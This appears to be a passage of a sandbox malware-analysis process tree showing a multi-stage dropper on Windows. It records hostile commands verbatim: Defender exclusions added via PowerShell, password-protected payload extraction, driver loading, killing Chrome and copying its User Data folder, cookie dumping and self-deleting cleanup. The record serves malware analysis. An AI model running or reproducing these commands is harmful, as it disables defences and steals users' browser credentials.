C:\Users\Admin\AppData\Local\Temp\4m1krw0cmnj\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\4m1krw0cmnj\askinstall24.exe"30⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe31⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe32⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\5sk4qexsve0\app.exe"C:\Users\Admin\AppData\Local\Temp\5sk4qexsve0\app.exe" /8-2330⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Purple-Bird"31⤵
-
-
C:\Program Files (x86)\Purple-Bird\7za.exe"C:\Program Files (x86)\Purple-Bird\7za.exe" e -p154.61.71.51 winamp-plugins.7z31⤵
- Drops file in Program Files directory
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Purple-Bird\app.exe" -map "C:\Program Files (x86)\Purple-Bird\WinmonProcessMonitor.sys""31⤵
-
C:\Program Files (x86)\Purple-Bird\app.exe"C:\Program Files (x86)\Purple-Bird\app.exe" -map "C:\Program Files (x86)\Purple-Bird\WinmonProcessMonitor.sys"32⤵
-
-
-
C:\Program Files (x86)\Purple-Bird\7za.exe"C:\Program Files (x86)\Purple-Bird\7za.exe" e -p154.61.71.51 winamp.7z31⤵
-
-
C:\Program Files (x86)\Purple-Bird\app.exe"C:\Program Files (x86)\Purple-Bird\app.exe" /8-2331⤵
-
C:\Program Files (x86)\Purple-Bird\app.exe"C:\Program Files (x86)\Purple-Bird\app.exe" /8-2332⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1mxtfx1y3pj\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\1mxtfx1y3pj\Setup3310.exe" /Verysilent /subid=57730⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ITVAG.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-ITVAG.tmp\Setup3310.tmp" /SL5="$40180,802346,56832,C:\Users\Admin\AppData\Local\Temp\1mxtfx1y3pj\Setup3310.exe" /Verysilent /subid=57731⤵
-
C:\Users\Admin\AppData\Local\Temp\is-IPAAI.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-IPAAI.tmp\Setup.exe" /Verysilent32⤵
-
C:\Users\Admin\AppData\Local\Temp\is-POH5J.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-POH5J.tmp\Setup.tmp" /SL5="$30964,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-IPAAI.tmp\Setup.exe" /Verysilent33⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\ProPlugin.exe" /Verysilent34⤵
-
C:\Users\Admin\AppData\Local\Temp\is-E3NLG.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-E3NLG.tmp\ProPlugin.tmp" /SL5="$207D8,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\ProPlugin.exe" /Verysilent35⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6ACJN.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-6ACJN.tmp\Setup.exe"36⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"37⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\PictureLAb.exe" /Verysilent34⤵
-
C:\Users\Admin\AppData\Local\Temp\is-Q1853.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q1853.tmp\PictureLAb.tmp" /SL5="$307D8,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\PictureLAb.exe" /Verysilent35⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DQJA6.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-DQJA6.tmp\Setup.exe" /VERYSILENT36⤵
-
C:\Users\Admin\AppData\Local\Temp\is-G5VJK.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-G5VJK.tmp\Setup.tmp" /SL5="$50850,442598,358912,C:\Users\Admin\AppData\Local\Temp\is-DQJA6.tmp\Setup.exe" /VERYSILENT37⤵
-
C:\Users\Admin\AppData\Local\Temp\is-D38AT.tmp\kkkk.exe"C:\Users\Admin\AppData\Local\Temp\is-D38AT.tmp\kkkk.exe" /S /UID=lab21438⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\bf-003e1-9eb-ef8b0-a48ed63d42e28\Fushiwalaeko.exe"C:\Users\Admin\AppData\Local\Temp\bf-003e1-9eb-ef8b0-a48ed63d42e28\Fushiwalaeko.exe"39⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3emgraqx.wu4\GcleanerWW.exe /mixone & exit40⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xmdbnak5.eug\privacytools5.exe & exit40⤵
-
C:\Users\Admin\AppData\Local\Temp\xmdbnak5.eug\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\xmdbnak5.eug\privacytools5.exe41⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\xmdbnak5.eug\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\xmdbnak5.eug\privacytools5.exe42⤵
- Suspicious behavior: MapViewOfSection
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zlfgqyvb.rd5\setup.exe /8-2222 & exit40⤵
-
C:\Users\Admin\AppData\Local\Temp\zlfgqyvb.rd5\setup.exeC:\Users\Admin\AppData\Local\Temp\zlfgqyvb.rd5\setup.exe /8-222241⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Late-Night"42⤵
-
-
C:\Program Files (x86)\Late-Night\7za.exe"C:\Program Files (x86)\Late-Night\7za.exe" e -p154.61.71.51 winamp-plugins.7z42⤵
- Drops file in Program Files directory
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Late-Night\setup.exe" -map "C:\Program Files (x86)\Late-Night\WinmonProcessMonitor.sys""42⤵
-
C:\Program Files (x86)\Late-Night\setup.exe"C:\Program Files (x86)\Late-Night\setup.exe" -map "C:\Program Files (x86)\Late-Night\WinmonProcessMonitor.sys"43⤵
- Suspicious behavior: LoadsDriver
-
-
-
C:\Program Files (x86)\Late-Night\7za.exe"C:\Program Files (x86)\Late-Night\7za.exe" e -p154.61.71.51 winamp.7z42⤵
-
-
C:\Program Files (x86)\Late-Night\setup.exe"C:\Program Files (x86)\Late-Night\setup.exe" /8-222242⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\byi4tept.1v4\MultitimerFour.exe & exit40⤵
-
C:\Users\Admin\AppData\Local\Temp\byi4tept.1v4\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\byi4tept.1v4\MultitimerFour.exe41⤵
-
C:\Users\Admin\AppData\Local\Temp\SG0F1RLCG7\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\SG0F1RLCG7\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10442⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\SG0F1RLCG7\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\SG0F1RLCG7\multitimer.exe" 1 3.1615070470.604405061ed05 10443⤵
-
C:\Users\Admin\AppData\Local\Temp\SG0F1RLCG7\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\SG0F1RLCG7\multitimer.exe" 2 3.1615070470.604405061ed0544⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\dxmmncddwuo\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\dxmmncddwuo\askinstall24.exe"45⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe46⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe47⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dmtqrjiabzc\vict.exe"C:\Users\Admin\AppData\Local\Temp\dmtqrjiabzc\vict.exe" /VERYSILENT /id=53545⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DCJJD.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-DCJJD.tmp\vict.tmp" /SL5="$70ADA,870426,780800,C:\Users\Admin\AppData\Local\Temp\dmtqrjiabzc\vict.exe" /VERYSILENT /id=53546⤵
-
C:\Users\Admin\AppData\Local\Temp\is-3QL68.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-3QL68.tmp\wimapi.exe" 53547⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\au1r40ig0i0\cjxm54xvdhc.exe"C:\Users\Admin\AppData\Local\Temp\au1r40ig0i0\cjxm54xvdhc.exe" /ustwo INSTALL45⤵
-
-
C:\Users\Admin\AppData\Local\Temp\ejkcvrkz4ww\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\ejkcvrkz4ww\Setup3310.exe" /Verysilent /subid=57745⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GSBLC.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-GSBLC.tmp\Setup3310.tmp" /SL5="$80ABE,802346,56832,C:\Users\Admin\AppData\Local\Temp\ejkcvrkz4ww\Setup3310.exe" /Verysilent /subid=57746⤵
-
C:\Users\Admin\AppData\Local\Temp\is-J20M5.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-J20M5.tmp\Setup.exe" /Verysilent47⤵
-
C:\Users\Admin\AppData\Local\Temp\is-J09NE.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-J09NE.tmp\Setup.tmp" /SL5="$A0A6C,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-J20M5.tmp\Setup.exe" /Verysilent48⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\ProPlugin.exe"C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\ProPlugin.exe" /Verysilent49⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NTD48.tmp\ProPlugin.tmp"C:\Users\Admin\AppData\Local\Temp\is-NTD48.tmp\ProPlugin.tmp" /SL5="$D00B4,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\ProPlugin.exe" /Verysilent50⤵
-
C:\Users\Admin\AppData\Local\Temp\is-O36CE.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-O36CE.tmp\Setup.exe"51⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"52⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\PictureLAb.exe" /Verysilent49⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1L1PN.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-1L1PN.tmp\PictureLAb.tmp" /SL5="$20D6A,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\PictureLAb.exe" /Verysilent50⤵
-
C:\Users\Admin\AppData\Local\Temp\is-K136H.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-K136H.tmp\Setup.exe" /VERYSILENT51⤵
-
C:\Users\Admin\AppData\Local\Temp\is-C1E5K.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-C1E5K.tmp\Setup.tmp" /SL5="$70ACC,442598,358912,C:\Users\Admin\AppData\Local\Temp\is-K136H.tmp\Setup.exe" /VERYSILENT52⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8LCT0.tmp\kkkk.exe"C:\Users\Admin\AppData\Local\Temp\is-8LCT0.tmp\kkkk.exe" /S /UID=lab21453⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\e4-11301-97f-a1eb6-0dccf4ed4a766\SHorimilugu.exe"C:\Users\Admin\AppData\Local\Temp\e4-11301-97f-a1eb6-0dccf4ed4a766\SHorimilugu.exe"54⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hod145is.0sf\GcleanerWW.exe /mixone & exit55⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qcenegnu.jvg\privacytools5.exe & exit55⤵
-
C:\Users\Admin\AppData\Local\Temp\qcenegnu.jvg\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\qcenegnu.jvg\privacytools5.exe56⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\qcenegnu.jvg\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\qcenegnu.jvg\privacytools5.exe57⤵
- Checks SCSI registry key(s)
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kppzfvy4.pmr\setup.exe /8-2222 & exit55⤵
-
C:\Users\Admin\AppData\Local\Temp\kppzfvy4.pmr\setup.exeC:\Users\Admin\AppData\Local\Temp\kppzfvy4.pmr\setup.exe /8-222256⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Throbbing-Dawn"57⤵
-
-
C:\Program Files (x86)\Throbbing-Dawn\7za.exe"C:\Program Files (x86)\Throbbing-Dawn\7za.exe" e -p154.61.71.51 winamp-plugins.7z57⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Throbbing-Dawn\setup.exe" -map "C:\Program Files (x86)\Throbbing-Dawn\WinmonProcessMonitor.sys""57⤵
-
-
C:\Program Files (x86)\Throbbing-Dawn\7za.exe"C:\Program Files (x86)\Throbbing-Dawn\7za.exe" e -p154.61.71.51 winamp.7z57⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yqjv2k4d.z5z\MultitimerFour.exe & exit55⤵
-
C:\Users\Admin\AppData\Local\Temp\yqjv2k4d.z5z\MultitimerFour.exeC:\Users\Admin\AppData\Local\Temp\yqjv2k4d.z5z\MultitimerFour.exe56⤵
-
C:\Users\Admin\AppData\Local\Temp\36TH8RONBJ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\36TH8RONBJ\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10457⤵
-
C:\Users\Admin\AppData\Local\Temp\36TH8RONBJ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\36TH8RONBJ\multitimer.exe" 1 3.1615070674.604405d2e4c81 10458⤵
-
C:\Users\Admin\AppData\Local\Temp\36TH8RONBJ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\36TH8RONBJ\multitimer.exe" 2 3.1615070674.604405d2e4c8159⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\tzg4455gmz1\bja5uzlnfpz.exe"C:\Users\Admin\AppData\Local\Temp\tzg4455gmz1\bja5uzlnfpz.exe" /ustwo INSTALL60⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13116 -s 64861⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13116 -s 66461⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13116 -s 63661⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13116 -s 68861⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13116 -s 89661⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13116 -s 90061⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\3mdxbygxvvf\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\3mdxbygxvvf\askinstall24.exe"60⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe61⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe62⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\gcfgjfgjaa99\" /s /e /y61⤵
- Enumerates system info in registry
-
-
-
C:\Users\Admin\AppData\Local\Temp\25gorsn25w4\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\25gorsn25w4\Setup3310.exe" /Verysilent /subid=57760⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RJ7OU.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-RJ7OU.tmp\Setup3310.tmp" /SL5="$A038A,802346,56832,C:\Users\Admin\AppData\Local\Temp\25gorsn25w4\Setup3310.exe" /Verysilent /subid=57761⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JKQVA.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-JKQVA.tmp\Setup.exe" /Verysilent62⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2R1KE.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-2R1KE.tmp\Setup.tmp" /SL5="$60C62,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-JKQVA.tmp\Setup.exe" /Verysilent63⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\h5sofipyy2a\vict.exe"C:\Users\Admin\AppData\Local\Temp\h5sofipyy2a\vict.exe" /VERYSILENT /id=53560⤵
-
C:\Users\Admin\AppData\Local\Temp\is-95C0G.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-95C0G.tmp\vict.tmp" /SL5="$607D6,870426,780800,C:\Users\Admin\AppData\Local\Temp\h5sofipyy2a\vict.exe" /VERYSILENT /id=53561⤵
-
C:\Users\Admin\AppData\Local\Temp\is-UIE1Q.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-UIE1Q.tmp\wimapi.exe" 53562⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ea2o0huhray\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\ea2o0huhray\chashepro3.exe" /VERYSILENT60⤵
-
C:\Users\Admin\AppData\Local\Temp\is-0DAA6.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-0DAA6.tmp\chashepro3.tmp" /SL5="$5068C,2012497,58368,C:\Users\Admin\AppData\Local\Temp\ea2o0huhray\chashepro3.exe" /VERYSILENT61⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ntdocb15250\app.exe"C:\Users\Admin\AppData\Local\Temp\ntdocb15250\app.exe" /8-2360⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Young-Leaf"61⤵
-
-
C:\Program Files (x86)\Young-Leaf\7za.exe"C:\Program Files (x86)\Young-Leaf\7za.exe" e -p154.61.71.51 winamp-plugins.7z61⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\Delta.exe" /Verysilent49⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1P8T1.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-1P8T1.tmp\Delta.tmp" /SL5="$40DD2,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\Delta.exe" /Verysilent50⤵
-
C:\Users\Admin\AppData\Local\Temp\is-5SRUA.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-5SRUA.tmp\Setup.exe" /VERYSILENT51⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-5SRUA.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit52⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f53⤵
- Kills process with taskkill
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\zznote.exe" /Verysilent49⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VK542.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-VK542.tmp\zznote.tmp" /SL5="$8075C,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\zznote.exe" /Verysilent50⤵
-
C:\Users\Admin\AppData\Local\Temp\is-C2RNJ.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-C2RNJ.tmp\jg4_4jaa.exe" /silent51⤵
- Checks whether UAC is enabled
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-707KI.tmp\hjjgaa.exe" /Verysilent49⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt50⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt50⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\oqvfnrmesoz\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\oqvfnrmesoz\chashepro3.exe" /VERYSILENT45⤵
-
C:\Users\Admin\AppData\Local\Temp\is-64UAR.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-64UAR.tmp\chashepro3.tmp" /SL5="$20B56,2012497,58368,C:\Users\Admin\AppData\Local\Temp\oqvfnrmesoz\chashepro3.exe" /VERYSILENT46⤵
- Drops file in Program Files directory
-
-
-
C:\Users\Admin\AppData\Local\Temp\b2z4qhiqh3a\app.exe"C:\Users\Admin\AppData\Local\Temp\b2z4qhiqh3a\app.exe" /8-2345⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Delicate-Surf"46⤵
-
-
C:\Program Files (x86)\Delicate-Surf\7za.exe"C:\Program Files (x86)\Delicate-Surf\7za.exe" e -p154.61.71.51 winamp-plugins.7z46⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Delicate-Surf\app.exe" -map "C:\Program Files (x86)\Delicate-Surf\WinmonProcessMonitor.sys""46⤵
-
C:\Program Files (x86)\Delicate-Surf\app.exe"C:\Program Files (x86)\Delicate-Surf\app.exe" -map "C:\Program Files (x86)\Delicate-Surf\WinmonProcessMonitor.sys"47⤵
- Suspicious behavior: LoadsDriver
-
-
-
C:\Program Files (x86)\Delicate-Surf\7za.exe"C:\Program Files (x86)\Delicate-Surf\7za.exe" e -p154.61.71.51 winamp.7z46⤵
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\Delicate-Surf\app.exe"C:\Program Files (x86)\Delicate-Surf\app.exe" /8-2346⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\Delta.exe" /Verysilent34⤵
-
C:\Users\Admin\AppData\Local\Temp\is-20Q1O.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-20Q1O.tmp\Delta.tmp" /SL5="$50AB6,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\Delta.exe" /Verysilent35⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JUHMA.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-JUHMA.tmp\Setup.exe" /VERYSILENT36⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-JUHMA.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit37⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f38⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 638⤵
- Delays execution with timeout.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\zznote.exe"C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\zznote.exe" /Verysilent34⤵
-
C:\Users\Admin\AppData\Local\Temp\is-71O3S.tmp\zznote.tmp"C:\Users\Admin\AppData\Local\Temp\is-71O3S.tmp\zznote.tmp" /SL5="$60AB6,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\zznote.exe" /Verysilent35⤵
-
C:\Users\Admin\AppData\Local\Temp\is-MKC7S.tmp\jg4_4jaa.exe"C:\Users\Admin\AppData\Local\Temp\is-MKC7S.tmp\jg4_4jaa.exe" /silent36⤵
- Drops file in Drivers directory
- Checks whether UAC is enabled
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\hjjgaa.exe"C:\Users\Admin\AppData\Local\Temp\is-EI0IV.tmp\hjjgaa.exe" /Verysilent34⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt35⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt35⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wskltoyulw4\vict.exe"C:\Users\Admin\AppData\Local\Temp\wskltoyulw4\vict.exe" /VERYSILENT /id=53530⤵
-
C:\Users\Admin\AppData\Local\Temp\is-807CN.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-807CN.tmp\vict.tmp" /SL5="$506C0,870426,780800,C:\Users\Admin\AppData\Local\Temp\wskltoyulw4\vict.exe" /VERYSILENT /id=53531⤵
-
C:\Users\Admin\AppData\Local\Temp\is-7S0AC.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-7S0AC.tmp\wimapi.exe" 53532⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\jxgyceacaj1\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\jxgyceacaj1\askinstall24.exe"30⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe31⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV132⤵
- Drops file in Windows directory
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe32⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\eo4sr5webe2\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\eo4sr5webe2\chashepro3.exe" /VERYSILENT30⤵
-
C:\Users\Admin\AppData\Local\Temp\is-7FTN0.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-7FTN0.tmp\chashepro3.tmp" /SL5="$406BC,2012497,58368,C:\Users\Admin\AppData\Local\Temp\eo4sr5webe2\chashepro3.exe" /VERYSILENT31⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1ge32gep2h0\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\1ge32gep2h0\Setup3310.exe" /Verysilent /subid=57730⤵
-
